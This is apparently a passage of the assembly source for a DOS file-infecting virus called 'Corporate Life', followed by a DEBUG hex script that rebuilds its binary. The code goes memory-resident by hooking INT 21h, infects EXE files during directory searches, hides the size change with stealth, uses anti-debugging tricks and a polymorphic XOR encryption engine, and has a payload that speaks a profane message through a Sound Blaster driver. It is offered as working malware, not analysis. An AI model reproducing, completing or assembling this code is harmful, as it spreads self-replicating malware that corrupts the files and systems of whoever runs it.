|||
|
xor ax,ax
|
|||
|
push ds ax
|
|||
|
pop ds
|
|||
|
push word ptr ds:[84]
|
|||
|
push word ptr ds:[05*4]
|
|||
|
push word ptr ds:[86]
|
|||
|
push word ptr ds:[05*4+2]
|
|||
|
pop word ptr ds:[03*4+2]
|
|||
|
pop word ptr cs:[Org21CS]
|
|||
|
pop word ptr ds:[03*4]
|
|||
|
pop word ptr cs:[Org21IP]
|
|||
|
pop ds
|
|||
|
|
|||
|
push es
|
|||
|
;----------------------------
|
|||
|
AllocTempMem:
|
|||
|
mov ah,4a
|
|||
|
mov bx,-1
|
|||
|
call call21direct
|
|||
|
|
|||
|
sub bx,(end_main-start+1f)/10
|
|||
|
mov ah,4a
|
|||
|
call call21direct
|
|||
|
|
|||
|
mov bx,(end_main-start+0f)/10
|
|||
|
mov ah,48
|
|||
|
call call21direct
|
|||
|
|
|||
|
;----------------------------
|
|||
|
PutVirusInTempMem:
|
|||
|
sub ax,10
|
|||
|
mov es,ax
|
|||
|
mov di,100
|
|||
|
mov si,di
|
|||
|
mov cx,(end_main-start)
|
|||
|
repnz movsb
|
|||
|
|
|||
|
push ds
|
|||
|
mov ds,cx
|
|||
|
|
|||
|
SetupProgramTerminate:
|
|||
|
push ds:[22*4]
|
|||
|
push ds:[22*4+2]
|
|||
|
mov ds:[22*4],offset Int22
|
|||
|
mov ds:[22*4+2],es
|
|||
|
mov word ptr ds:[6],0fff0
|
|||
|
mov word ptr ds:[4],0
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
pop ds
|
|||
|
mov es:[IP22],bx
|
|||
|
mov es:[CS22],ax
|
|||
|
pop ds
|
|||
|
mov ds:[0a],offset Int22
|
|||
|
mov ds:[0c],es
|
|||
|
;----------------------------
|
|||
|
IsActiveInMemory:
|
|||
|
pop es
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov ax,es
|
|||
|
add ax,10
|
|||
|
add cs:HostCS,ax
|
|||
|
add ax,cs:HostSS
|
|||
|
cli
|
|||
|
mov ss,ax
|
|||
|
mov sp,cs:[HostSP]
|
|||
|
xor ax,ax
|
|||
|
xor bx,bx
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
xor di,di
|
|||
|
mov si,100
|
|||
|
sti
|
|||
|
jmp dword ptr cs:[HostEntry]
|
|||
|
|
|||
|
HostEntry:
|
|||
|
HostIP dw 0
|
|||
|
HostCS dw 0fff0
|
|||
|
HostSS dw 0fff0
|
|||
|
HostSP dw 0fffe
|
|||
|
|
|||
|
Call21Direct:
|
|||
|
pushf
|
|||
|
call dword ptr cs:[Org21IP]
|
|||
|
ret
|
|||
|
|
|||
|
Org21IP dw 0
|
|||
|
Org21CS dw 0
|
|||
|
;-----------------------------
|
|||
|
recursionshit:
|
|||
|
mov cx,11
|
|||
|
call recurseit
|
|||
|
ret
|
|||
|
db 081
|
|||
|
recurseit:
|
|||
|
jmp short bumpshit
|
|||
|
db 0ff
|
|||
|
Afterbump:
|
|||
|
dec cx
|
|||
|
pop ax bx dx
|
|||
|
jz exitrecurse
|
|||
|
call recurseit
|
|||
|
exitrecurse:
|
|||
|
rol word ptr cs:[HostCS],1
|
|||
|
ret
|
|||
|
db 0cdh
|
|||
|
bumpshit:
|
|||
|
mov bp,sp
|
|||
|
push ds
|
|||
|
mov bx,cs
|
|||
|
push ax
|
|||
|
mov word ptr [bp-4],0
|
|||
|
pop ds
|
|||
|
mov word ptr ds:[3*4],offset afterbump
|
|||
|
mov word ptr ds:[3*4+2],bx
|
|||
|
pop ds
|
|||
|
int 3
|
|||
|
How_did_ya_get_here:
|
|||
|
loop How_did_ya_get_here
|
|||
|
mov ds,cx
|
|||
|
push word ptr ds:[46c]
|
|||
|
push word ptr ds:[46c]
|
|||
|
push word ptr ds:[46e]
|
|||
|
iret
|
|||
|
;-----------------------------
|
|||
|
db 83
|
|||
|
Int22:
|
|||
|
mov ah,52
|
|||
|
call call21direct
|
|||
|
mov es,es:[bx-2]
|
|||
|
mov bx,es
|
|||
|
mov ax,es:[03]
|
|||
|
mov cx,es
|
|||
|
add ax,cx
|
|||
|
inc ax
|
|||
|
mov es,ax
|
|||
|
|
|||
|
FindMCB:
|
|||
|
mov ax,es:[03]
|
|||
|
cmp ax,(end_prog-start+4f)/10
|
|||
|
jb TooSmall
|
|||
|
cmp word ptr es:[01],0
|
|||
|
je FoundOne
|
|||
|
jmp NExtOne
|
|||
|
TooSmall:
|
|||
|
cmp word ptr es:[01],0
|
|||
|
jne NextOne
|
|||
|
jmp SkipBXMove
|
|||
|
|
|||
|
NextOne:
|
|||
|
mov bx,es
|
|||
|
SkipBXMove:
|
|||
|
mov cx,es
|
|||
|
add ax,cx
|
|||
|
inc ax
|
|||
|
cmp ax,0f000
|
|||
|
je NoMem
|
|||
|
cmp byte ptr es:[0],'M'
|
|||
|
jne NoMem
|
|||
|
mov es,ax
|
|||
|
jmp FindMCB
|
|||
|
db 081
|
|||
|
NoMem:
|
|||
|
jmp Exit22
|
|||
|
db 0ea
|
|||
|
FoundOne:
|
|||
|
mov dx,es
|
|||
|
mov es,bx
|
|||
|
inc bx
|
|||
|
add bx,word ptr es:[03]
|
|||
|
push bx
|
|||
|
mov ax,es
|
|||
|
|
|||
|
push word ptr es:[01]
|
|||
|
push es
|
|||
|
|
|||
|
inc ax
|
|||
|
mov bx,word ptr es:[03]
|
|||
|
mov word ptr cs:[HostMem],ax
|
|||
|
mov es,ax
|
|||
|
mov ah,4a
|
|||
|
add bx,(end_prog-start+3f)/10
|
|||
|
call call21direct
|
|||
|
jc TooSmall
|
|||
|
|
|||
|
pop es
|
|||
|
pop word ptr es:[01]
|
|||
|
|
|||
|
pop ax
|
|||
|
sub ax,10
|
|||
|
mov es,ax
|
|||
|
mov di,100
|
|||
|
mov si,di
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov cx,(end_prog-start)
|
|||
|
repnz movsb
|
|||
|
|
|||
|
inc cx
|
|||
|
mov ds,cx
|
|||
|
push word ptr ds:[74]
|
|||
|
push word ptr ds:[76]
|
|||
|
mov word ptr ds:[74],offset Int21
|
|||
|
mov word ptr ds:[76],es
|
|||
|
pop word ptr es:[CS21]
|
|||
|
pop word ptr es:[IP21]
|
|||
|
call ActivateSoundBlaster
|
|||
|
Exit22:
|
|||
|
db 0ea
|
|||
|
IP22 dw 0
|
|||
|
CS22 dw 0
|
|||
|
|
|||
|
db 0ff
|
|||
|
Int21:
|
|||
|
cmp ah,09
|
|||
|
jne NotInstallCheck
|
|||
|
xchg dx,bx
|
|||
|
cmp word ptr ds:[bx],'B$'
|
|||
|
xchg dx,bx
|
|||
|
jne Exit21
|
|||
|
stc
|
|||
|
retf 2
|
|||
|
|
|||
|
db 088
|
|||
|
NotInstallCheck:
|
|||
|
push ax ;reversed bits on ah
|
|||
|
xor ah,11 ;0001 0001 ;11 - find first
|
|||
|
jz FindFile
|
|||
|
xor ah,3
|
|||
|
jz FindFile ;0001 0010 ;12 - find next
|
|||
|
xor ah,5bh ;0100 1001 ;49 - dealloc mem
|
|||
|
jz Dealloc
|
|||
|
|
|||
|
ExitTests:
|
|||
|
pop ax
|
|||
|
|
|||
|
ExitFunctions:
|
|||
|
Exit21:
|
|||
|
db 0ea
|
|||
|
IP21 dw 0
|
|||
|
CS21 dw 0
|
|||
|
|
|||
|
db 0ea
|
|||
|
Dealloc:
|
|||
|
mov ax,es
|
|||
|
cmp ax,word ptr cs:[HostMem]
|
|||
|
pop ax
|
|||
|
jne Exit21
|
|||
|
iret
|
|||
|
|
|||
|
db 0ea
|
|||
|
GoExitFind:
|
|||
|
jmp ExitFind
|
|||
|
|
|||
|
FindFile:
|
|||
|
pop ax
|
|||
|
call FakeInt21
|
|||
|
or al,al
|
|||
|
jnz GoExitFind
|
|||
|
|
|||
|
push ax bx cx dx es ds si di
|
|||
|
call SetCritical
|
|||
|
mov ah,2f
|
|||
|
call FakeInt21
|
|||
|
push es bx
|
|||
|
|
|||
|
|
|||
|
cmp byte ptr es:[bx],0ff
|
|||
|
jne ExitCheck
|
|||
|
add bx,7
|
|||
|
CheckIfEXE:
|
|||
|
cmp word ptr es:[bx+09],'XE'
|
|||
|
jne ExitCheck
|
|||
|
cmp byte ptr es:[bx+0bh],'E'
|
|||
|
jne ExitCheck
|
|||
|
CheckIfInfected:
|
|||
|
cmp word ptr es:[bx+19h],0c800
|
|||
|
ja SubVirSize
|
|||
|
RandomChanceOfInfect:
|
|||
|
call RandomChance
|
|||
|
jc SubVirSize
|
|||
|
|
|||
|
SetupInfectFile:
|
|||
|
push es bx
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset FCB1
|
|||
|
mov cx,EndFCB1-FCB1
|
|||
|
xor ax,ax
|
|||
|
push di
|
|||
|
repnz stosb
|
|||
|
pop di
|
|||
|
pop si ds
|
|||
|
mov cx,12d
|
|||
|
repnz movsb
|
|||
|
OpenFileFCB:
|
|||
|
mov ah,0f
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset FCB1
|
|||
|
call FakeInt21
|
|||
|
inc al
|
|||
|
jz SubVirSize ;Error Occured
|
|||
|
|
|||
|
push es bx
|
|||
|
call InfectFileFCB
|
|||
|
pop bx es
|
|||
|
|
|||
|
CloseFileFCB:
|
|||
|
mov ah,10
|
|||
|
mov dx,offset FCB1
|
|||
|
call FakeInt21
|
|||
|
SubVirSize:
|
|||
|
cmp word ptr es:[bx+19],0c800
|
|||
|
jb AfterDirStealth
|
|||
|
sub word ptr es:[bx+19],0c800
|
|||
|
|
|||
|
push bx
|
|||
|
mov ah,62
|
|||
|
call FakeInt21
|
|||
|
mov ax,cs
|
|||
|
cmp bx,ax
|
|||
|
pop bx
|
|||
|
ja AfterDirStealth
|
|||
|
sub word ptr es:[bx+1dh],(end_main-start+40)
|
|||
|
sbb word ptr es:[bx+1f],0
|
|||
|
|
|||
|
AfterDirStealth:
|
|||
|
ExitCheck:
|
|||
|
pop dx ds
|
|||
|
mov ah,1a
|
|||
|
call fakeint21
|
|||
|
call ResetCritical
|
|||
|
pop di si ds es dx cx bx ax
|
|||
|
ExitFind:
|
|||
|
retf 2
|
|||
|
|
|||
|
|
|||
|
db 0ea
|
|||
|
FakeInt21:
|
|||
|
pushf
|
|||
|
call dword ptr cs:[IP21]
|
|||
|
ret
|
|||
|
|
|||
|
db 09a
|
|||
|
BadFile:
|
|||
|
jmp ExitInfFCB
|
|||
|
|
|||
|
db 0ea
|
|||
|
InfectFileFCB:
|
|||
|
push word ptr [FCBTime]
|
|||
|
push word ptr [FCBDate]
|
|||
|
|
|||
|
push word ptr [FCBFSize]
|
|||
|
push word ptr [FCBFSize+2]
|
|||
|
pop word ptr [OrgSize+2]
|
|||
|
pop word ptr [OrgSize]
|
|||
|
|
|||
|
call CheckHeader
|
|||
|
jc InfectionCheck
|
|||
|
call SaveValues
|
|||
|
call ResetHeader
|
|||
|
call PAdEndOfFile
|
|||
|
jmp ModTimeInfected
|
|||
|
|
|||
|
InfectionCheck:
|
|||
|
jc ExitInfFCB ;was infection successful?
|
|||
|
|
|||
|
ModTimeInfected:
|
|||
|
pop ax
|
|||
|
add ax,0c800
|
|||
|
push ax
|
|||
|
|
|||
|
ExitInfFCB:
|
|||
|
pop word ptr cs:[FCBDate]
|
|||
|
pop word ptr cs:[FCBTime]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
PadEndOfFile:
|
|||
|
mov ax,word ptr [OrgSize]
|
|||
|
mov dx,word ptr [OrgSize+2]
|
|||
|
add ax,(end_main-start+40)
|
|||
|
adc dx,0
|
|||
|
mov word ptr [FCBFSize],ax
|
|||
|
mov word ptr [FCBFSize+2],dx
|
|||
|
ret
|
|||
|
|
|||
|
RandomChance:
|
|||
|
push ax ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,ds:[46c]
|
|||
|
shr ax,1
|
|||
|
pop ds ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
ResetHEader:
|
|||
|
mov ax,word ptr [FCBFsize]
|
|||
|
mov dx,word ptr [FCBFsize+2]
|
|||
|
and ax,1ff
|
|||
|
mov word ptr [EXEHeader+2],ax
|
|||
|
mov ax,word ptr [FCBFsize]
|
|||
|
jz NoCarry
|
|||
|
add ax,1ff
|
|||
|
NoCarry:
|
|||
|
mov cl,9
|
|||
|
shr ax,cl
|
|||
|
mov cl,7
|
|||
|
shl dx,cl
|
|||
|
add dx,ax
|
|||
|
mov word ptr [EXEHeader+4],dx
|
|||
|
add word ptr [exeheader+0a],(end_main-start+1f)/10
|
|||
|
|
|||
|
mov ah,1a
|
|||
|
mov dx,offset EXEHeader
|
|||
|
call fakeint21
|
|||
|
|
|||
|
mov dx,offset FCB1
|
|||
|
|
|||
|
mov byte ptr [FCBCurRec],0
|
|||
|
mov word ptr [FCBBlock],0
|
|||
|
mov word ptr [FCBRecSize],40
|
|||
|
mov ah,15
|
|||
|
call fakeInt21
|
|||
|
ret
|
|||
|
|
|||
|
CheckHEader:
|
|||
|
mov word ptr [FCBRecSize],40
|
|||
|
mov ah,1a
|
|||
|
mov dx,offset EXEHeader
|
|||
|
call fakeInt21 ;Set DTA for read
|
|||
|
|
|||
|
mov ah,14
|
|||
|
mov dx,offset FCB1 ;read EXEheader
|
|||
|
call fakeInt21
|
|||
|
|
|||
|
mov ax,word ptr [EXEHeader]
|
|||
|
add ah,al
|
|||
|
xor ah,('Z'+'M')
|
|||
|
jnz BadHeader
|
|||
|
cmp word ptr [EXEHeader+1a],0
|
|||
|
jnz BadHEader
|
|||
|
cmp word ptr [EXEHeader+18],40
|
|||
|
jae BadHeader
|
|||
|
cmp word ptr [FCBFSize+2],4
|
|||
|
ja BadHeader
|
|||
|
|
|||
|
clc
|
|||
|
ret
|
|||
|
BadHeader:
|
|||
|
stc
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
SaveValues:
|
|||
|
push word ptr [EXEHeader+0e]
|
|||
|
mov ax,word ptr [FCBFsize]
|
|||
|
push word ptr [EXEHeader+10]
|
|||
|
mov dx,word ptr [FCBFsize+2]
|
|||
|
push word ptr [EXEHEader+14]
|
|||
|
mov cl,4
|
|||
|
mov bx,word ptr [EXEHeader+08]
|
|||
|
shl bx,cl
|
|||
|
sub ax,bx
|
|||
|
sbb dx,0
|
|||
|
push word ptr [EXEHEader+16]
|
|||
|
shr ax,cl
|
|||
|
pop word ptr [HostCS]
|
|||
|
adc ax,0
|
|||
|
pop word ptr [HostIP]
|
|||
|
mov bx,ax
|
|||
|
pop word ptr [HostSP]
|
|||
|
shl ax,cl
|
|||
|
pop word ptr [HostSS]
|
|||
|
adc dx,0
|
|||
|
mov cl,0c
|
|||
|
shl dx,cl
|
|||
|
add bx,dx
|
|||
|
sub bx,0f
|
|||
|
mov word ptr [EXEHeader+16],bx
|
|||
|
mov word ptr [EXEHeader+14],100
|
|||
|
add bx,0f0
|
|||
|
mov word ptr [EXEHeader+0e],bx
|
|||
|
mov word ptr [EXEHeader+10],2fe
|
|||
|
|
|||
|
|
|||
|
mov ax,word ptr [FCBFsize]
|
|||
|
mov dx,word ptr [FCBFsize+2]
|
|||
|
mov cl,4
|
|||
|
shr ax,cl
|
|||
|
adc ax,0
|
|||
|
|
|||
|
mov ch,dl
|
|||
|
mov cl,4
|
|||
|
shr dx,cl
|
|||
|
shl ch,cl
|
|||
|
add ah,ch
|
|||
|
adc dx,0
|
|||
|
|
|||
|
inc ax
|
|||
|
adc dx,0
|
|||
|
mov word ptr [FCBRanRec],ax
|
|||
|
mov word ptr [FCBRanRec+2],dx
|
|||
|
mov word ptr [FCBRecSize],10
|
|||
|
|
|||
|
push cx bx dx si di
|
|||
|
call Mutate
|
|||
|
pop di si dx bx cx
|
|||
|
|
|||
|
mov dx,offset DecryptBuffer
|
|||
|
|
|||
|
AppendLoop:
|
|||
|
mov ah,1a
|
|||
|
call fakeint21
|
|||
|
push dx
|
|||
|
mov ah,22
|
|||
|
mov dx,offset FCB1
|
|||
|
call fakeint21
|
|||
|
pop dx
|
|||
|
call updateRecAndDX
|
|||
|
cmp dx,offset end_prog
|
|||
|
jb AppendLoop
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
UpdateRecAndDX:
|
|||
|
add dx,10
|
|||
|
add word ptr [FCBRanRec],1
|
|||
|
adc word ptr [FCBRanRec+2],0
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
SetCritical:
|
|||
|
push ax ds
|
|||
|
mov ax,9
|
|||
|
mov ds,ax
|
|||
|
push word ptr ds:[0]
|
|||
|
push word ptr ds:[2]
|
|||
|
pop word ptr cs:[OldCritical+2]
|
|||
|
pop word ptr cs:[OldCritical]
|
|||
|
mov word ptr ds:[0],offset CriticalError
|
|||
|
push cs
|
|||
|
pop word ptr ds:[02]
|
|||
|
pop ds ax
|
|||
|
ret
|
|||
|
|
|||
|
ResetCritical:
|
|||
|
push ax ds
|
|||
|
push word ptr cs:[OldCritical]
|
|||
|
mov ax,9
|
|||
|
push word ptr cs:[OldCritical+2]
|
|||
|
mov ds,ax
|
|||
|
pop word ptr ds:[2]
|
|||
|
pop word ptr ds:[0]
|
|||
|
pop ds ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
CriticalError:
|
|||
|
mov al,3
|
|||
|
iret
|
|||
|
|
|||
|
OldCritical dd 0
|
|||
|
HostMem dw 0
|
|||
|
Credits:
|
|||
|
db '$B -=[$$$ Corporate Life $$$]=- P$'
|
|||
|
EndCredits:
|
|||
|
|
|||
|
OrgSize dd 0
|
|||
|
FCB1:
|
|||
|
FCBDrive db 0
|
|||
|
FCBFName db 8 dup(0)
|
|||
|
FCBExt db 3 dup(0)
|
|||
|
FCBBlock dw 0
|
|||
|
FCBRecSize dw 0
|
|||
|
FCBFSize dd 0
|
|||
|
FCBDate dw 0
|
|||
|
FCBTime dw 0
|
|||
|
FCBReserved db 8 dup(0)
|
|||
|
FCBCurRec db 0
|
|||
|
FCBRanRec dd 0
|
|||
|
EndFCB1:
|
|||
|
EXEHeader db 40 dup(0)
|
|||
|
|
|||
|
;-----------------]> Activation routine - talks if sound blaster speech drv'r
|
|||
|
ActivateSoundBlaster:
|
|||
|
CheckIfSBSpeechEnabled:
|
|||
|
push ax bx es ds si di
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
mov ax,0fbfbh
|
|||
|
int 2f
|
|||
|
mov ax,es
|
|||
|
or ax,ax
|
|||
|
jz notinstalled
|
|||
|
cmp word ptr es:[bx],'BF'
|
|||
|
jne notinstalled
|
|||
|
SayFuckCorporateLife:
|
|||
|
mov ax,0707
|
|||
|
mov si,offset speechbuf
|
|||
|
mov di,20
|
|||
|
add di,bx
|
|||
|
mov cx,(endmess-speechbuf)
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
repnz movsb
|
|||
|
call dword ptr es:[bx+4]
|
|||
|
NotInstalled:
|
|||
|
pop di si ds es bx ax
|
|||
|
ret
|
|||
|
|
|||
|
speechbuf:
|
|||
|
db (endmess-message)
|
|||
|
message db 'Fuck Corporat Life.',0a,0dh
|
|||
|
endmess:
|
|||
|
;-----------------]> Simple friggin' mutation engine, but quite small....
|
|||
|
Mutate:
|
|||
|
push cs cs
|
|||
|
pop es ds
|
|||
|
mov cx,(end_main-EXE_Entry)
|
|||
|
call InitRand
|
|||
|
SetupCounter:
|
|||
|
mov word ptr [SetCounter+1],cx
|
|||
|
PreProcessCode:
|
|||
|
mov di,offset NewCodeBuffer
|
|||
|
mov si,offset EXE_Entry
|
|||
|
repnz movsb
|
|||
|
|
|||
|
SelectCounterAndPointer:
|
|||
|
call GetRand
|
|||
|
and ax,707
|
|||
|
cmp al,4
|
|||
|
je SelectCounterAndPointer
|
|||
|
cmp ah,3
|
|||
|
je RegsValid
|
|||
|
cmp ah,6
|
|||
|
je RegsValid
|
|||
|
cmp ah,7
|
|||
|
je RegsValid
|
|||
|
jmp short SelectCounterAndPointer
|
|||
|
RegsValid:
|
|||
|
cmp ah,al
|
|||
|
je SelectCounterAndPointer
|
|||
|
FindAddressingReg:
|
|||
|
push ax
|
|||
|
cmp ah,3
|
|||
|
jne Is_SI_or_DI
|
|||
|
xor ah,4
|
|||
|
jmp GotAddrReg
|
|||
|
Is_SI_Or_DI:
|
|||
|
xor ah,2
|
|||
|
GotAddrReg:
|
|||
|
mov dh,ah ;DH now holds addressing reg value
|
|||
|
GetRandomXorKey:
|
|||
|
call GetRand
|
|||
|
mov byte ptr [XorByte+2],al
|
|||
|
pop ax
|
|||
|
SetNewRegs:
|
|||
|
and byte ptr [XorByte+1],11111000b
|
|||
|
and byte ptr [SetCounter],11111000b
|
|||
|
and byte ptr [DecCounter],11111000b
|
|||
|
and byte ptr [SetPointer],11111000b
|
|||
|
and byte ptr [IncPointer],11111000b
|
|||
|
or byte ptr [SetCounter],al
|
|||
|
or byte ptr [DecCounter],al
|
|||
|
or byte ptr [SetPointer],ah
|
|||
|
or byte ptr [IncPointer],ah
|
|||
|
or byte ptr [Xorbyte+1],dh
|
|||
|
mov dx,ax
|
|||
|
SetupDummy:
|
|||
|
call GetRand
|
|||
|
and ax,707
|
|||
|
cmp al,4
|
|||
|
je SetupDummy
|
|||
|
cmp al,dh
|
|||
|
je SetupDummy
|
|||
|
cmp al,dl
|
|||
|
je SetupDummy
|
|||
|
mov ah,al
|
|||
|
and word ptr [OneByte],1111100011111000b
|
|||
|
or word ptr [Onebyte],ax
|
|||
|
EncryptCode:
|
|||
|
mov word ptr [SetPointer+1],offset NewCodeBuffer
|
|||
|
call SetCounter
|
|||
|
mov word ptr [SetPointer+1],offset EXE_Entry
|
|||
|
SetupDecrypt:
|
|||
|
mov si,offset EncryptionPrototype
|
|||
|
mov di,offset DecryptBuffer
|
|||
|
call MakeOneBytes
|
|||
|
call OneByteInst
|
|||
|
call OneByteInst
|
|||
|
call OneByteInst
|
|||
|
call ThreeByteInst
|
|||
|
call ThreeByteInst
|
|||
|
mov bx,di
|
|||
|
call ThreeByteInst
|
|||
|
call OneByteInst
|
|||
|
movsw
|
|||
|
mov ax,di
|
|||
|
sub ax,bx
|
|||
|
not al
|
|||
|
stosb
|
|||
|
FillBuffer:
|
|||
|
mov cx,offset NewCodeBuffer
|
|||
|
sub cx,di
|
|||
|
call MakeAByte
|
|||
|
ret
|
|||
|
|
|||
|
ThreeByteInst:
|
|||
|
movsw
|
|||
|
OneByteInst:
|
|||
|
movsb
|
|||
|
call MakeOneBytes
|
|||
|
ret
|
|||
|
|
|||
|
MakeOneBytes:
|
|||
|
push bx cx
|
|||
|
call GetRand
|
|||
|
and ax,3
|
|||
|
inc ax
|
|||
|
mov cx,ax
|
|||
|
call MakeAByte
|
|||
|
pop cx bx
|
|||
|
ret
|
|||
|
|
|||
|
MakeAByte:
|
|||
|
call GetRand
|
|||
|
and ax,3
|
|||
|
mov bx,ax
|
|||
|
add bx,offset OneByte
|
|||
|
mov al,byte ptr [bx]
|
|||
|
stosb
|
|||
|
loop MakeAByte
|
|||
|
ret
|
|||
|
|
|||
|
InitRand:
|
|||
|
push ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,word ptr ds:[46c]
|
|||
|
pop ds
|
|||
|
mov word ptr cs:[RandKey],ax
|
|||
|
ret
|
|||
|
|
|||
|
GetRand:
|
|||
|
push cx dx
|
|||
|
mov ax,word ptr cs:[RandKey]
|
|||
|
mov cx,4791
|
|||
|
mul cx
|
|||
|
mov cx,dx
|
|||
|
ror ax,cl
|
|||
|
add ax,9174
|
|||
|
mov word ptr cs:[Randkey],ax
|
|||
|
pop dx cx
|
|||
|
ret
|
|||
|
|
|||
|
RandKey dw 0
|
|||
|
|
|||
|
EncryptionPrototype:
|
|||
|
SaveSeg:
|
|||
|
push es
|
|||
|
SetCurSeg:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
SetCounter:
|
|||
|
mov bx,0ffff
|
|||
|
SetPointer:
|
|||
|
mov si,0ffff
|
|||
|
XorByte:
|
|||
|
xor byte ptr [si],0ff
|
|||
|
IncPointer:
|
|||
|
inc si
|
|||
|
DecCounter:
|
|||
|
dec bx
|
|||
|
LoopMod:
|
|||
|
jnz XorByte
|
|||
|
ExitPrototype:
|
|||
|
ret
|
|||
|
|
|||
|
DummyInstructions:
|
|||
|
OneByte:
|
|||
|
inc cx
|
|||
|
dec cx
|
|||
|
nop
|
|||
|
sti
|
|||
|
end_mut:
|
|||
|
end_main:
|
|||
|
DecryptBuffer db 30 dup(?)
|
|||
|
NewCodeBuffer db (end_main-EXE_Entry) dup (?)
|
|||
|
end_prog:
|
|||
|
end start
|
|||
|
;----------------------- end corplife.asm ---------------------------------
|
|||
|
N corplife.com
|
|||
|
E 0100 06 0E 1F 90 90 90 90 90 90 90 90 90 90 90 90 90
|
|||
|
E 0110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
|
|||
|
E 0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
|
|||
|
E 0130 EB 01 9A 2E D1 0E 3C 02 EB 01 EA 2E FF 36 4E 01
|
|||
|
E 0140 B8 15 FF 50 8B EC F7 56 00 2E 8F 06 4E 01 2E 8F
|
|||
|
E 0150 06 4E 01 E8 F7 00 B8 01 30 CD 21 3C 06 77 07 3C
|
|||
|
E 0160 03 72 03 EB 05 EA E9 A4 00 FF BA FE 05 B8 BA A6
|
|||
|
E 0170 92 0E F7 D0 F7 D2 CD 16 1F B4 09 BA 2F 06 CD 21
|
|||
|
E 0180 73 03 E9 88 00 33 C0 1E 50 1F FF 36 84 00 FF 36
|
|||
|
E 0190 14 00 FF 36 86 00 FF 36 16 00 8F 06 0E 00 2E 8F
|
|||
|
E 01A0 06 4B 02 8F 06 0C 00 2E 8F 06 49 02 1F 06 B4 4A
|
|||
|
E 01B0 BB FF FF E8 8C 00 83 EB 76 B4 4A E8 84 00 BB 75
|
|||
|
E 01C0 00 B4 48 E8 7C 00 2D 10 00 8E C0 BF 00 01 8B F7
|
|||
|
E 01D0 B9 49 07 F2 A4 1E 8E D9 FF 36 88 00 FF 36 8A 00
|
|||
|
E 01E0 C7 06 88 00 92 02 8C 06 8A 00 C7 06 06 00 F0 FF
|
|||
|
E 01F0 C7 06 04 00 00 00 58 5B 1F 26 89 1E 46 03 26 A3
|
|||
|
E 0200 48 03 1F C7 06 0A 00 92 02 8C 06 0C 00 07 06 1F
|
|||
|
E 0210 8C C0 05 10 00 2E 01 06 3C 02 2E 03 06 3E 02 FA
|
|||
|
E 0220 8E D0 2E 8B 26 40 02 33 C0 33 DB 33 C9 33 D2 33
|
|||
|
E 0230 FF BE 00 01 FB 2E FF 2E 3A 02 00 00 F0 FF F0 FF
|
|||
|
E 0240 FE FF 9C 2E FF 1E 49 02 C3 00 00 00 00 B9 11 00
|
|||
|
E 0250 E8 02 00 C3 81 EB 11 FF 49 58 5B 5A 74 03 E8 F4
|
|||
|
E 0260 FF 2E D1 06 3C 02 C3 CD 8B EC 1E 8C CB 50 C7 46
|
|||
|
E 0270 FC 00 00 1F C7 06 0C 00 58 02 89 1E 0E 00 1F CC
|
|||
|
E 0280 E2 FE 8E D9 FF 36 6C 04 FF 36 6C 04 FF 36 6E 04
|
|||
|
E 0290 CF 83 B4 52 E8 AB FF 26 8E 47 FE 8C C3 26 A1 03
|
|||
|
E 02A0 00 8C C1 03 C1 40 8E C0 26 A1 03 00 3D EE 00 72
|
|||
|
E 02B0 0A 26 83 3E 01 00 00 74 28 EB 0A 26 83 3E 01 00
|
|||
|
E 02C0 00 75 02 EB 02 8C C3 8C C1 03 C1 40 3D 00 F0 74
|
|||
|
E 02D0 0D 26 80 3E 00 00 4D 75 05 8E C0 EB CB 81 EB 65
|
|||
|
E 02E0 EA 8C C2 8E C3 43 26 03 1E 03 00 53 8C C0 26 FF
|
|||
|
E 02F0 36 01 00 06 40 26 8B 1E 03 00 2E A3 2D 06 8E C0
|
|||
|
E 0300 B4 4A 81 C3 ED 00 E8 39 FF 72 B0 07 26 8F 06 01
|
|||
|
E 0310 00 58 2D 10 00 8E C0 BF 00 01 8B F7 0E 1F B9 92
|
|||
|
E 0320 0E F2 A4 41 8E D9 FF 36 74 00 FF 36 76 00 C7 06
|
|||
|
E 0330 74 00 4B 03 8C 06 76 00 26 8F 06 73 03 26 8F 06
|
|||
|
E 0340 71 03 E8 75 03 EA 00 00 00 00 FF 80 FC 09 75 0F
|
|||
|
E 0350 87 D3 81 3F 24 42 87 D3 75 16 F9 CA 02 00 88 50
|
|||
|
E 0360 80 F4 11 74 20 80 F4 03 74 1B 80 F4 5B 74 07 58
|
|||
|
E 0370 EA 00 00 00 00 EA 8C C0 2E 3B 06 2D 06 58 75 F0
|
|||
|
E 0380 CF EA E9 AB 00 58 E8 AB 00 0A C0 75 F5 50 53 51
|
|||
|
E 0390 52 06 1E 56 57 E8 4B 02 B4 2F E8 97 00 06 53 26
|
|||
|
E 03A0 80 3F FF 75 79 83 C3 07 26 81 7F 09 45 58 75 6E
|
|||
|
E 03B0 26 80 7F 0B 45 75 67 26 81 7F 19 00 C8 77 39 E8
|
|||
|
E 03C0 CC 00 72 34 06 53 0E 07 BF 55 06 B9 25 00 33 C0
|
|||
|
E 03D0 57 F2 AA 5F 5E 1F B9 0C 00 F2 A4 B4 0F 0E 1F BA
|
|||
|
E 03E0 55 06 E8 4F 00 FE C0 74 0F 06 53 E8 51 00 5B 07
|
|||
|
E 03F0 B4 10 BA 55 06 E8 3C 00 26 81 7F 19 00 C8 72 1E
|
|||
|
E 0400 26 81 6F 19 00 C8 53 B4 62 E8 28 00 8C C8 3B D8
|
|||
|
